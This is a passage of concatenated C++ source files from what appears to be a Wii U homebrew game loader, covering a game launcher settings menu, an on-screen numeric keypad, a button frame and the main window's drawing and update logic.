if(trigger == &buttonUpTrigger){ gamelauncherelementfocus++; if(gamelauncherelementfocus >= GamelaunchermenuFocus::MAX_VALUE) gamelauncherelementfocus = GamelaunchermenuFocus::INVALID+2; bFocusChanged = true; } else if(trigger == &buttonDownTrigger){ gamelauncherelementfocus--; if(gamelauncherelementfocus <= GamelaunchermenuFocus::INVALID) gamelauncherelementfocus = GamelaunchermenuFocus::MAX_VALUE-2; bFocusChanged = true; } else if(trigger == &buttonRightTrigger){ gamelauncherelementfocus = GamelaunchermenuFocus::INVALID+1; bFocusChanged = true; } else if(trigger == &buttonLeftTrigger){ gamelauncherelementfocus = GamelaunchermenuFocus::MAX_VALUE-1; bFocusChanged = true; } } void GameLauncherMenu::loadBgImage() { if(header == NULL) return; std::string filepath = header->gamepath + META_PATH + "/bootTvTex.tga"; //! remove image that is possibly still loading //! TODO: fix (state != STATE_DISABLED) its a cheap trick to make the thread not create new images when fading out because it causes issues if(bgNewImageDataAsync && !isStateSet(STATE_DISABLED)) { bgNewImageDataAsync->imageLoaded.disconnect_all(); GuiImageAsync::removeFromQueue(bgNewImageDataAsync); AsyncDeleter::pushForDelete(bgNewImageDataAsync); bgNewImageDataAsync = new GuiImageAsync(filepath, NULL); } else { delete bgNewImageDataAsync; bgNewImageDataAsync = new GuiImageAsync(filepath, NULL); } bgNewImageDataAsync->imageLoaded.connect(this, &GameLauncherMenu::OnBgLoadedFinished); } void GameLauncherMenu::OnCoverLoadedFinished(GuiImageAsync *image) { //! since this function is entered through an asynchron call from the gui image async thread //! the GUI has to be locked before accessing the data Application::instance()->getMainWindow()->lockGUI(); if(image->imageLoaded.connected()){ f32 oldScale = image->getScale(); f32 coverScale = noCover.getHeight() / image->getHeight(); image->setScale(oldScale * coverScale); } Application::instance()->getMainWindow()->unlockGUI(); } void GameLauncherMenu::OnBgLoadedFinished(GuiImageAsync *image) { //! since this function is entered through an asynchron call from the gui image async thread //! the GUI has to be locked before accessing the data Application::instance()->getMainWindow()->lockGUI(); if(image->imageLoaded.connected()) { if(bgNewImageDataAsync->getImageData()) { if(bgUsedImageDataAsync) { bgFadingImageDataAsync = bgUsedImageDataAsync; bgFadingImageDataAsync->setEffect(EFFECT_FADE, -10, 0); bgFadingImageDataAsync->effectFinished.connect(this, &GameLauncherMenu::OnBgEffectFinished); } bgUsedImageDataAsync = bgNewImageDataAsync; bgNewImageDataAsync = NULL; bgUsedImageDataAsync->setColorIntensity(glm::vec4(0.5f, 0.5f, 0.5f, 1.0f)); bgUsedImageDataAsync->setParent(this); bgUsedImageDataAsync->setEffect(EFFECT_FADE, 10, 255); bgUsedImageDataAsync->setScale(windowScale); } else { bgNewImageDataAsync->imageLoaded.disconnect_all(); AsyncDeleter::pushForDelete(bgNewImageDataAsync); bgNewImageDataAsync = NULL; } insert(bgUsedImageDataAsync,2); } Application::instance()->getMainWindow()->unlockGUI(); } void GameLauncherMenu::OnBgEffectFinished(GuiElement *image) { if(image == bgFadingImageDataAsync) { remove(bgFadingImageDataAsync); bgFadingImageDataAsync->imageLoaded.disconnect_all(); AsyncDeleter::pushForDelete(bgFadingImageDataAsync); bgFadingImageDataAsync = NULL; } } void GameLauncherMenu::draw(CVideo *v) { GuiFrame::draw(v); } void GameLauncherMenu::update(GuiController *c) { if(bFocusChanged){ std::map::iterator itr; for(itr = focusElements.begin(); itr != focusElements.end(); itr++) { if(itr->first == gamelauncherelementfocus){ itr->second->setState(STATE_SELECTED); }else{ itr->second->clearState(STATE_SELECTED); } } bFocusChanged = false; } if(bChanged){ if(gamesettings.updateFolder.compare(COMMON_UPDATE_PATH) != 0){ extraSaveBox.setAlpha(1.0f); extraSaveText.setAlpha(1.0f); extraSaveBox.clearState(STATE_DISABLED); extraSaveText.clearState(STATE_DISABLED); }else{ if(gamelauncherelementfocus == GamelaunchermenuFocus::ExtraSave){ gamelauncherelementfocus = GamelaunchermenuFocus::LaunchMethod; bFocusChanged = true; } extraSaveBox.setAlpha(0.3f); extraSaveText.setAlpha(0.3f); extraSaveBox.setUnchecked(); extraSaveBox.setState(STATE_DISABLED); extraSaveText.setState(STATE_DISABLED); } bChanged = false; } GuiFrame::update(c); } ================================================ FILE: src/menu/GameLauncherMenu.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _GAMELAUNCHERMENU_WINDOW_H_ #define _GAMELAUNCHERMENU_WINDOW_H_ #include "system/CThread.h" #include "gui/Gui.h" #include "gui/GuiParticleImage.h" #include "gui/GuiCheckBox.h" #include "gui/GuiSelectBox.h" #include "gui/GuiImageAsync.h" #include "gui/GuiSwitch.h" #include "game/GameList.h" #include "ProgressWindow.h" #include "settings/CSettingsGame.h" #include "settings/SettingsEnums.h" class GameLauncherMenu : public GuiFrame, public sigslot::has_slots<> { public: GameLauncherMenu(int gameIdx); virtual ~GameLauncherMenu(); sigslot::signal3 gameLauncherMenuQuitClicked; sigslot::signal3 gameLauncherGetHeaderClicked; void draw(CVideo *v); void update(GuiController *c); enum GamelaunchermenuFocus { INVALID = -1, OK, SaveMethod, LaunchMethod, ExtraSave, UpdatePath, EnableDLC, Quit, MAX_VALUE }; private: float windowScale = 0.75f; bool gamesettingsChanged = false; void setHeader(const discHeader *); void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnGetNextHeaderClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { gameLauncherGetHeaderClicked(this,gameIdx,1); } void OnGetPreviousHeaderClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { gameLauncherGetHeaderClicked(this,gameIdx,-1); } void ReturnFromSaving(CThread * thread, int result); static void SaveGameSettings(CThread *thread, void *arg); void OnOptionButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnAButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnOKButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnQuitButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { gameLauncherMenuQuitClicked(this,header,false); } static void SaveSettingsAsync(GameLauncherMenu * menu); void OnSelectBoxValueChanged(GuiSelectBox * selectbox,std::string value); void OnExtraSaveValueChanged(GuiToggle * toggle,bool value); void OnDLCEnableValueChanged(GuiToggle * toggle,bool value); void OnGotHeaderFromMain(GuiElement *button, int gameIdx); void OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnSelectBoxShowHide(GuiSelectBox * selectBox,bool value); void loadBgImage(); void OnBgLoadedFinished(GuiImageAsync *element); void OnCoverLoadedFinished(GuiImageAsync *element); void OnBgEffectFinished(GuiElement *element); GuiFrame gameLauncherMenuFrame; int gameIdx; GuiImage bgImage; GuiImage bgBlur; GuiImageData noCover; GuiImageAsync * coverImg = NULL; GuiSound *buttonClickSound; GuiImageData *quitImageData; GuiImage quitImage; GuiImageData *quitSelectedImageData; GuiImage quitSelectedImage; GuiButton quitButton; GuiImageData *okImageData; GuiImage okImage; GuiImageData *okSelectedImageData; GuiImage okSelectedImage; GuiButton okButton; GuiText okText; GuiText titleText; GuiImageData *titleImageData; GuiImage titleImage; GuiText extraSaveText; GuiText dlcEnableText; GuiImageData *frameImageData; GuiImage frameImage; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonBTrigger; GuiTrigger buttonLTrigger; GuiTrigger buttonRTrigger; GuiTrigger buttonLeftTrigger; GuiTrigger buttonRightTrigger; GuiTrigger buttonUpTrigger; GuiTrigger buttonDownTrigger; GuiImageData *leftArrowImageData; GuiImageData *rightArrowImageData; GuiImage leftArrowImage; GuiImage rightArrowImage; GuiButton leftArrowButton; GuiButton rightArrowButton; GuiButton DPADButtons; GuiSwitch extraSaveBox; GuiSwitch dlcEnableBox; const discHeader *header; GameSettings gamesettings; ProgressWindow progresswindow; std::map updatePaths; std::map saveModeNames; std::map launchModeNames; int savemode_size = 0; int launchmode_size = 0; GuiSelectBox pathSelectBox; GuiSelectBox saveModeSelectBox; GuiSelectBox launchModeSelectBox; GuiImageAsync *bgUsedImageDataAsync; GuiImageAsync *bgNewImageDataAsync; GuiImageAsync *bgFadingImageDataAsync; std::vector selectBoxes; std::map focusElements; static CThread *pThread; int gamelauncherelementfocus; bool bFocusChanged = false; bool bChanged = false; }; #endif //_GAMELAUNCHERMENU_WINDOW_H_ ================================================ FILE: src/menu/KeyPadMenu.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "KeyPadMenu.h" #include "video/CVideo.h" #include "utils/StringTools.h" #define MAX_COLS 3 #define MAX_ROWS 4 #define MAX_FIELDS 15 static const char cpKeyPadButtons[] = { "123456789.0" }; KeyPadMenu::KeyPadMenu(int w, int h, const std::string & strTitle, const std::string & prefil) : GuiFrame(w, h) , buttonClickSound(Resources::GetSound("settings_click_2.mp3")) , backImageData(Resources::GetImageData("keyPadBackButton.png")) , backImage(backImageData) , backButton(backImage.getWidth(), backImage.getHeight()) , okImageData(Resources::GetImageData("keyPadOkButton.png")) , okImage(okImageData) , okButton(okImage.getWidth(), okImage.getHeight()) , okText("O.K.", 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f)) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true) , keyPadBgImageData(Resources::GetImageData("keyPadBg.png")) , keyPadButtonImgData(Resources::GetImageData("keyPadButton.png")) , keyPadButtonClickImgData(Resources::GetImageData("keyPadButtonClicked.png")) , deleteButtonImgData(Resources::GetImageData("keyPadDeleteButton.png")) , deleteButtonClickImgData(Resources::GetImageData("keyPadDeleteClicked.png")) , fieldImageData(Resources::GetImageData("keyPadField.png")) , fieldBlinkerImageData(Resources::GetImageData("keyPadFieldBlinker.png")) , bgImage(keyPadBgImageData) , fieldBlinkerImg(fieldBlinkerImageData) , deleteButtonImg(deleteButtonImgData) , deleteButtonImgClick(deleteButtonClickImgData) , deleteButton(deleteButtonImgData->getWidth(), deleteButtonImgData->getHeight()) , DPADButtons(w,h) { lastFrameCount = 0; currentText = prefil; if(currentText.size() > MAX_FIELDS) currentText.resize(MAX_FIELDS); textPosition = currentText.size(); bgImage.setAlignment(ALIGN_CENTER | ALIGN_BOTTOM); append(&bgImage); backButton.setImage(&backImage); backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT); backButton.clicked.connect(this, &KeyPadMenu::OnBackButtonClick); backButton.setTrigger(&touchTrigger); backButton.setTrigger(&wpadTouchTrigger); backButton.setSoundClick(buttonClickSound); backButton.setEffectGrow(); append(&backButton); okText.setPosition(0, -10); okButton.setLabel(&okText); okButton.setImage(&okImage); okButton.setAlignment(ALIGN_BOTTOM | ALIGN_RIGHT); okButton.clicked.connect(this, &KeyPadMenu::OnOkButtonClick); okButton.setTrigger(&touchTrigger); okButton.setTrigger(&wpadTouchTrigger); okButton.setSoundClick(buttonClickSound); okButton.setEffectGrow(); append(&okButton); titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); titleText.setFontSize(46); titleText.setPosition(0, 230); titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f)); titleText.setText(strTitle.c_str()); append(&titleText); deleteButton.setImage(&deleteButtonImg); deleteButton.setImageOver(&deleteButtonImgClick); deleteButton.setTrigger(&touchTrigger); deleteButton.setTrigger(&wpadTouchTrigger); deleteButton.setSoundClick(buttonClickSound); deleteButton.setPosition(-(keyPadButtonImgData->getWidth() + 5) * (MAX_COLS - 1) * 0.5f + (keyPadButtonImgData->getWidth() + 5) * MAX_COLS, -60); deleteButton.setEffectGrow(); deleteButton.clicked.connect(this, &KeyPadMenu::OnDeleteButtonClick); append(&deleteButton); for(int i = 0; i < MAX_FIELDS; i++) { char fieldTxt[2]; fieldTxt[0] = (i < (int)currentText.size()) ? currentText[i] : 0; fieldTxt[1] = 0; GuiText *text = new GuiText(fieldTxt, 46, glm::vec4(0.0f, 0.0f, 0.0f, 1.0f)); GuiImage *image = new GuiImage(fieldImageData); GuiButton *button = new GuiButton(image->getWidth(), image->getHeight()); button->setImage(image); button->setLabel(text); button->setPosition(-(image->getWidth() + 8) * (MAX_FIELDS - 1) * 0.5f + (image->getWidth() + 8) * i, 120); button->setTrigger(&touchTrigger); button->setTrigger(&wpadTouchTrigger); button->setSoundClick(buttonClickSound); button->clicked.connect(this, &KeyPadMenu::OnTextPositionChange); append(button); textFieldText.push_back(text); textFieldImg.push_back(image); textFieldBtn.push_back(button); } fieldBlinkerImg.setAlignment(ALIGN_LEFT | ALIGN_LEFT); fieldBlinkerImg.setPosition(5, 0); if(textPosition < MAX_FIELDS) textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg); int row = 0, column = 0; for(int i = 0; cpKeyPadButtons[i]; i++) { char buttonTxt[2]; buttonTxt[0] = cpKeyPadButtons[i]; buttonTxt[1] = 0; GuiImage *image = new GuiImage(keyPadButtonImgData); GuiImage *imageClick = new GuiImage(keyPadButtonClickImgData); GuiButton *button = new GuiButton(image->getWidth(), image->getHeight()); GuiText *text = new GuiText(buttonTxt, 46, glm::vec4(0.0f, 0.0f, 0.0f, 1.0f)); text->setTextBlur(5.0f); button->setImage(image); button->setImageOver(imageClick); button->setLabel(text); button->setPosition(-(image->getWidth() + 5) * (MAX_COLS - 1) * 0.5f + (image->getWidth() + 5) * column, -60 - (image->getHeight() + 5) * row); button->setTrigger(&touchTrigger); button->setTrigger(&wpadTouchTrigger); button->setSoundClick(buttonClickSound); button->setEffectGrow(); button->clicked.connect(this, &KeyPadMenu::OnKeyPadButtonClick); append(button); keyText.push_back(text); keyButton.push_back(button); keyImg.push_back(image); keyImgOver.push_back(imageClick); column++; if(column >= MAX_COLS) { column = 0; row++; } } DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonBTrigger); DPADButtons.clicked.connect(this, &KeyPadMenu::OnDPADClick); append(&DPADButtons); UpdateTextFields(); } KeyPadMenu::~KeyPadMenu() { for(u32 i = 0; i < textFieldImg.size(); ++i) { delete textFieldText[i]; delete textFieldImg[i]; delete textFieldBtn[i]; } for(u32 i = 0; i < keyButton.size(); ++i) { delete keyButton[i]; delete keyText[i]; delete keyImg[i]; delete keyImgOver[i]; } Resources::RemoveImageData(backImageData); Resources::RemoveImageData(okImageData); Resources::RemoveImageData(keyPadBgImageData); Resources::RemoveImageData(keyPadButtonImgData); Resources::RemoveImageData(keyPadButtonClickImgData); Resources::RemoveImageData(deleteButtonImgData); Resources::RemoveImageData(deleteButtonClickImgData); Resources::RemoveImageData(fieldImageData); Resources::RemoveImageData(fieldBlinkerImageData); Resources::RemoveSound(buttonClickSound); } void KeyPadMenu::UpdateTextFields() { for(u32 i = 0; i < textFieldText.size(); i++) { char text[2]; text[0] = (i < currentText.size()) ? currentText[i] : 0; text[1] = 0; textFieldText[i]->setText(text); } } void KeyPadMenu::OnKeyPadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < keyButton.size(); i++) { if(button == keyButton[i] && textPosition < MAX_FIELDS) { char text[2]; text[0] = cpKeyPadButtons[i]; text[1] = 0; currentText.insert(textPosition, text); UpdateTextFields(); textFieldBtn[textPosition]->setIcon(NULL); textPosition++; if(textPosition < MAX_FIELDS) textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg); break; } } } void KeyPadMenu::OnTextPositionChange(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < textFieldBtn.size(); i++) { if(textFieldBtn[i] == button) { if(textPosition < MAX_FIELDS) textFieldBtn[textPosition]->setIcon(NULL); textPosition = i; if(textPosition > (int)currentText.size()) textPosition = currentText.size(); textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg); } } } void KeyPadMenu::OnDeleteButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(textPosition > 0) { if(textPosition < MAX_FIELDS) textFieldBtn[textPosition]->setIcon(NULL); textPosition--; currentText.erase(textPosition, 1); UpdateTextFields(); textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg); } } void KeyPadMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(trigger == &buttonATrigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } OnOkButtonClick(button,controller,trigger); } else if(trigger == &buttonBTrigger) { OnBackButtonClick(button,controller,trigger); } } void KeyPadMenu::draw(CVideo *video) { if((video->getFrameCount() - lastFrameCount) >= 30) { lastFrameCount = video->getFrameCount(); bool blinkerVisible = fieldBlinkerImg.isVisible(); fieldBlinkerImg.setVisible(!blinkerVisible); } GuiFrame::draw(video); } ================================================ FILE: src/menu/KeyPadMenu.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _KEY_PAD_MENU_H_ #define _KEY_PAD_MENU_H_ #include "gui/Gui.h" #include "settings/SettingsDefs.h" class KeyPadMenu : public GuiFrame, public sigslot::has_slots<> { public: KeyPadMenu(int w, int h, const std::string & strTitle, const std::string & prefil); virtual ~KeyPadMenu(); void draw(CVideo *video); sigslot::signal2 settingsOkClicked; sigslot::signal1 settingsBackClicked; private: void UpdateTextFields(); void OnTextPositionChange(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnDeleteButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnKeyPadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { settingsBackClicked(this); } void OnOkButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { settingsOkClicked(this, currentText); } void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); GuiSound *buttonClickSound; GuiImageData *backImageData; GuiImage backImage; GuiButton backButton; GuiImageData *okImageData; GuiImage okImage; GuiButton okButton; GuiText okText; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonBTrigger; GuiText titleText; GuiImageData *keyPadBgImageData; GuiImageData *keyPadButtonImgData; GuiImageData *keyPadButtonClickImgData; GuiImageData *deleteButtonImgData; GuiImageData *deleteButtonClickImgData; GuiImageData *fieldImageData; GuiImageData *fieldBlinkerImageData; GuiImage bgImage; GuiImage fieldBlinkerImg; GuiImage deleteButtonImg; GuiImage deleteButtonImgClick; GuiButton deleteButton; GuiButton DPADButtons; std::vector textFieldText; std::vector textFieldImg; std::vector textFieldBtn; std::vector keyText; std::vector keyImg; std::vector keyImgOver; std::vector keyButton; int textPosition; std::string currentText; u32 lastFrameCount; }; #endif //_KEY_PAD_MENU_H_ ================================================ FILE: src/menu/MainDrcButtonsFrame.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _MAIN_DRC_BUTTONS_FRAME_H_ #define _MAIN_DRC_BUTTONS_FRAME_H_ #include "gui/Gui.h" #include "resources/Resources.h" class MainDrcButtonsFrame : public GuiFrame, public sigslot::has_slots<> { public: MainDrcButtonsFrame(int w, int h) : GuiFrame(w, h) , buttonClickSound(Resources::GetSound("settings_click_2.mp3")) , screenSwitchSound(Resources::GetSound("screenSwitchSound.mp3")) , switchIconData(Resources::GetImageData("layoutSwitchButton.png")) , settingsIconData(Resources::GetImageData("settingsButton.png")) , switchIcon(switchIconData) , settingsIcon(settingsIconData) , switchLayoutButton(switchIcon.getWidth(), switchIcon.getHeight()) , settingsButton(settingsIcon.getWidth(), settingsIcon.getHeight()) , gameImageDownloadButton(w, h) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , settingsTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_ZL, true) , switchLayoutTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_ZR, true) , plusTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_PLUS, true) { settingsButton.setClickable(true); settingsButton.setImage(&settingsIcon); settingsButton.setTrigger(&touchTrigger); settingsButton.setTrigger(&wpadTouchTrigger); settingsButton.setTrigger(&settingsTrigger); settingsButton.setAlignment(ALIGN_LEFT | ALIGN_BOTTOM); settingsButton.setSoundClick(buttonClickSound); settingsButton.setEffectGrow(); settingsButton.clicked.connect(this, &MainDrcButtonsFrame::OnSettingsButtonClick); append(&settingsButton); switchLayoutButton.setClickable(true); switchLayoutButton.setImage(&switchIcon); switchLayoutButton.setTrigger(&touchTrigger); switchLayoutButton.setTrigger(&wpadTouchTrigger); switchLayoutButton.setTrigger(&switchLayoutTrigger); switchLayoutButton.setAlignment(ALIGN_RIGHT | ALIGN_BOTTOM); switchLayoutButton.setSoundClick(screenSwitchSound); switchLayoutButton.setEffectGrow(); switchLayoutButton.clicked.connect(this, &MainDrcButtonsFrame::OnLayoutSwithClick); append(&switchLayoutButton); gameImageDownloadButton.setClickable(true); gameImageDownloadButton.setSoundClick(buttonClickSound); gameImageDownloadButton.setTrigger(&plusTrigger); gameImageDownloadButton.clicked.connect(this, &MainDrcButtonsFrame::OnGameImageDownloadButtonClicked); append(&gameImageDownloadButton); } virtual ~MainDrcButtonsFrame() { Resources::RemoveImageData(switchIconData); Resources::RemoveImageData(settingsIconData); Resources::RemoveSound(buttonClickSound); Resources::RemoveSound(screenSwitchSound); } sigslot::signal1 settingsButtonClicked; sigslot::signal1 layoutSwitchClicked; sigslot::signal1 gameImageDownloadClicked; private: void OnSettingsButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *) { settingsButtonClicked(this); } void OnLayoutSwithClick(GuiButton *button, const GuiController *controller, GuiTrigger *) { layoutSwitchClicked(this); } void OnGameImageDownloadButtonClicked(GuiButton *button, const GuiController *controller, GuiTrigger *) { gameImageDownloadClicked(this); } GuiSound *buttonClickSound; GuiSound *screenSwitchSound; GuiImageData *switchIconData; GuiImageData *settingsIconData; GuiImage switchIcon; GuiImage settingsIcon; GuiButton switchLayoutButton; GuiButton settingsButton; GuiButton gameImageDownloadButton; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger settingsTrigger; GuiTrigger switchLayoutTrigger; GuiTrigger plusTrigger; }; #endif //_SETTINGS_WINDOW_H_ ================================================ FILE: src/menu/MainWindow.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "MainWindow.h" #include "dynamic_libs/os_functions.h" #include "dynamic_libs/socket_functions.h" #include "Application.h" #include "game/GameList.h" #include "game/GameLauncher.h" #include "menu/SettingsMenu.h" #include "menu/GameLauncherMenu.h" #include "gui/GuiGameCarousel.h" #include "gui/GuiIconCarousel.h" #include "gui/GuiIconGrid.h" #include "settings/CSettings.h" #include "settings/CSettingsGame.h" #include "common/retain_vars.h" #include "utils/StringTools.h" #include "utils/logger.h" MainWindow::MainWindow(int w, int h) : width(w) , height(h) , gameClickSound(Resources::GetSound("game_click.mp3")) , mainSwitchButtonFrame(NULL) , currentTvFrame(NULL) , currentDrcFrame(NULL) , launchingGame(false) { for(int i = 0; i < 4; i++) { std::string filename = strfmt("player%i_point.png", i+1); pointerImgData[i] = Resources::GetImageData(filename.c_str()); pointerImg[i] = new GuiImage(pointerImgData[i]); pointerImg[i]->setScale(1.5f); pointerValid[i] = false; } SetupMainView(); } MainWindow::~MainWindow() { while(!tvElements.empty()) { delete tvElements[0]; remove(tvElements[0]); } while(!drcElements.empty()) { delete drcElements[0]; remove(drcElements[0]); } for(int i = 0; i < 4; i++) { delete pointerImg[i]; Resources::RemoveImageData(pointerImgData[i]); } Resources::RemoveSound(gameClickSound); } void MainWindow::updateEffects() { //! dont read behind the initial elements in case one was added u32 tvSize = tvElements.size(); u32 drcSize = drcElements.size(); for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i) { drcElements[i]->updateEffects(); } //! only update TV elements that are not updated yet because they are on DRC for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) { u32 n; for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) { if(tvElements[i] == drcElements[n]) break; } if(n == drcElements.size()) { tvElements[i]->updateEffects(); } } } void MainWindow::update(GuiController *controller) { //! dont read behind the initial elements in case one was added //u32 tvSize = tvElements.size(); if(controller->chan & GuiTrigger::CHANNEL_1) { u32 drcSize = drcElements.size(); for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i) { drcElements[i]->update(controller); } } else { u32 tvSize = tvElements.size(); for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) { tvElements[i]->update(controller); } } // //! only update TV elements that are not updated yet because they are on DRC // for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) // { // u32 n; // for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) // { // if(tvElements[i] == drcElements[n]) // break; // } // if(n == drcElements.size()) // { // tvElements[i]->update(controller); // } // } if(controller->chanIdx >= 1 && controller->chanIdx <= 4 && controller->data.validPointer) { int wpadIdx = controller->chanIdx - 1; f32 posX = controller->data.x; f32 posY = controller->data.y; pointerImg[wpadIdx]->setPosition(posX, posY); pointerImg[wpadIdx]->setAngle(controller->data.pointerAngle); pointerValid[wpadIdx] = true; } } void MainWindow::drawDrc(CVideo *video) { for(u32 i = 0; i < drcElements.size(); ++i) { drcElements[i]->draw(video); } for(int i = 0; i < 4; i++) { if(pointerValid[i]) { pointerImg[i]->setAlpha(0.5f); pointerImg[i]->draw(video); pointerImg[i]->setAlpha(1.0f); } } } void MainWindow::drawTv(CVideo *video) { for(u32 i = 0; i < tvElements.size(); ++i) { tvElements[i]->draw(video); } for(int i = 0; i < 4; i++) { if(pointerValid[i]) { pointerImg[i]->draw(video); pointerValid[i] = false; } } } void MainWindow::SetupMainView() { if(CSettings::getValueAsU16(CSettings::GameStartIndex) > GameList::instance()->size()) CSettings::setValueAsU16(CSettings::GameStartIndex,0); switch(CSettings::getValueAsU8(CSettings::GameViewModeTv)) { case VIEW_ICON_GRID: { currentTvFrame = new GuiIconGrid(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex)); break; } default: case VIEW_ICON_CAROUSEL: { currentTvFrame = new GuiIconCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex)); break; } case VIEW_COVER_CAROUSEL: { currentTvFrame = new GuiGameCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex)); break; } } currentTvFrame->setEffect(EFFECT_FADE, 10, 255); currentTvFrame->setState(GuiElement::STATE_DISABLED); currentTvFrame->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish); appendTv(currentTvFrame); if(CSettings::getValueAsU8(CSettings::GameViewModeDrc) == CSettings::getValueAsU8(CSettings::GameViewModeTv)) { currentDrcFrame = currentTvFrame; } else { switch(CSettings::getValueAsU8(CSettings::GameViewModeDrc)) { default: case VIEW_ICON_GRID: { currentDrcFrame = new GuiIconGrid(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex)); break; } case VIEW_ICON_CAROUSEL: { 